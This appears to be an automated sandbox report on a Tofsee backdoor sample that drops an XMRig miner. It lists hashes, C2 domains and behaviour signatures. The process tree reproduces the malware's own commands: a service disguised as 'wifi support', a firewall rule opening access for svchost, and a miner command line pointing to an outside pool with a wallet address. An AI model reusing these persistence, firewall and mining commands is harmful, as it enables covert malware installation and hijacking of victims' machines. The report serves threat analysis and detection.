Analysis

  • max time kernel
    141s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/11/2022, 22:31

General

  • Target
    file.exe
  • Size 173KB
  • Sample221112-2fcq5sch21
  • SHA256 59699cd3deadc901b8a84cc69f2ad4dc80eb7661e83e78173792ebd9bb39be0b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2296
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\otyixqqb\
      2⤵
        PID:772
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rhnuzlpe.exe" C:\Windows\SysWOW64\otyixqqb\
        2⤵
          PID:2488
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create otyixqqb binPath= "C:\Windows\SysWOW64\otyixqqb\rhnuzlpe.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2068
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description otyixqqb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3124
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start otyixqqb
          2⤵
          • Launches sc.exe
          PID:3144
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4860
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2296 -s 1256
          2⤵
          • Program crash
          PID:4464
      • C:\Windows\SysWOW64\otyixqqb\rhnuzlpe.exe
        C:\Windows\SysWOW64\otyixqqb\rhnuzlpe.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4120
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4468
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1496
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4120 -s 516
          2⤵
          • Program crash
          PID:4528
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2296 -ip 2296
        1⤵
          PID:4488
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4120 -ip 4120
          1⤵
            PID:1160

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                rhnuzlpe.exe

                • Path C:\Users\Admin\AppData\Local\Temp\rhnuzlpe.exe
                • Size 11.7MB
                • SHA256 f46837d68a6171b02a5dcb5f45736e478ce841b28c9d0e02a4ce22fa22544c50
                • MD5 SHA1 SHA512 SSDEEP

                rhnuzlpe.exe

                • Path C:\Windows\SysWOW64\otyixqqb\rhnuzlpe.exe
                • Size 11.7MB
                • SHA256 f46837d68a6171b02a5dcb5f45736e478ce841b28c9d0e02a4ce22fa22544c50
                • MD5 SHA1 SHA512 SSDEEP

                memory/1496-178-0x00000000012D0000-0x00000000013C1000-memory.dmp

                memory/1496-173-0x00000000012D0000-0x00000000013C1000-memory.dmp

                memory/2296-134-0x0000000000400000-0x0000000000587000-memory.dmp

                memory/2296-151-0x0000000000689000-0x000000000069A000-memory.dmp

                memory/2296-133-0x0000000000610000-0x0000000000623000-memory.dmp

                memory/2296-152-0x0000000000400000-0x0000000000587000-memory.dmp

                memory/2296-132-0x0000000000689000-0x000000000069A000-memory.dmp

                memory/4120-148-0x00000000005C0000-0x00000000005D3000-memory.dmp

                memory/4120-147-0x0000000000603000-0x0000000000614000-memory.dmp

                memory/4120-149-0x0000000000400000-0x0000000000587000-memory.dmp

                memory/4468-160-0x0000000003110000-0x0000000003120000-memory.dmp

                memory/4468-153-0x0000000001280000-0x0000000001295000-memory.dmp

                memory/4468-154-0x0000000002E00000-0x000000000300F000-memory.dmp

                memory/4468-157-0x00000000025F0000-0x00000000025F6000-memory.dmp

                memory/4468-150-0x0000000001280000-0x0000000001295000-memory.dmp

                memory/4468-166-0x0000000007E00000-0x000000000820B000-memory.dmp

                memory/4468-163-0x00000000033E0000-0x00000000033E5000-memory.dmp

                memory/4468-169-0x00000000033F0000-0x00000000033F7000-memory.dmp

                memory/4468-144-0x0000000001280000-0x0000000001295000-memory.dmp